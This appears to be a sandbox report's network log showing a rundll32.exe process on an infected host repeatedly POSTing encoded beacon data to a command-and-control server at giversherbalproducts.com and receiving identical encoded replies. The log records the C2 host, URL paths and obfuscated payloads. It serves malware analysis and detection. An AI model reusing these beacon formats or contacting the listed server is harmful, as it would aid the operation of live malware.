f3p/QUVCQ0FBfn15eH96fXtze0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.3	50086	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:07.936239958 CEST	7312	OUT	POST /lBawcxb5/HwQCKiQ+JjspBywuejQWKD4ZdR0NeRI0RnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:08.405242920 CEST	7314	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:07 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzdEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.3	50087	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:07.939582109 CEST	7312	OUT	POST /lBawcxb5/exgmfzsJAhIqfQ06Bh88PQIsRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:08.382566929 CEST	7313	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:08 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzdEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.3	50088	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:08.732954979 CEST	7315	OUT	POST /lBawcxb5/L3wMFHwHIRJ0OSkuPgoLDQ4DIkZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:09.217406034 CEST	7316	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:08 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzdUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.3	50089	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:08.807040930 CEST	7315	OUT	POST /lBawcxb5/LghCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:09.262108088 CEST	7317	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:08 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzdUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49778	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:21.434856892 CEST	1080	OUT	POST /lBawcxb5/ITIYRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:21.879231930 CEST	1081	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:21 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpzfUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.3	50090	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:09.592179060 CEST	7318	OUT	POST /lBawcxb5/PHkHfSgmeQN/GScNKhlGenN5Yn59cmV+YXg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:10.090467930 CEST	7320	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:09 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzdUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.3	50091	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:09.599191904 CEST	7318	OUT	POST /lBawcxb5/ABMaOXgKehMYLi4iJy53PxgpRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:10.087654114 CEST	7319	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:09 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzdUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.3	50092	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:10.466520071 CEST	7321	OUT	POST /lBawcxb5/ExwxdQ4xewJ6DQ88ITsdLD19KRdCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:10.974678993 CEST	7322	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:10 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 79 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtyfEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.3	50093	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:10.470581055 CEST	7321	OUT	POST /lBawcxb5/PRIkIhkREyEULhktHQIsAQQxP39zQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:10.985430002 CEST	7323	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:10 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 79 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtyfEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.3	50094	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:11.283102989 CEST	7324	OUT	POST /lBawcxb5/fCd/RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
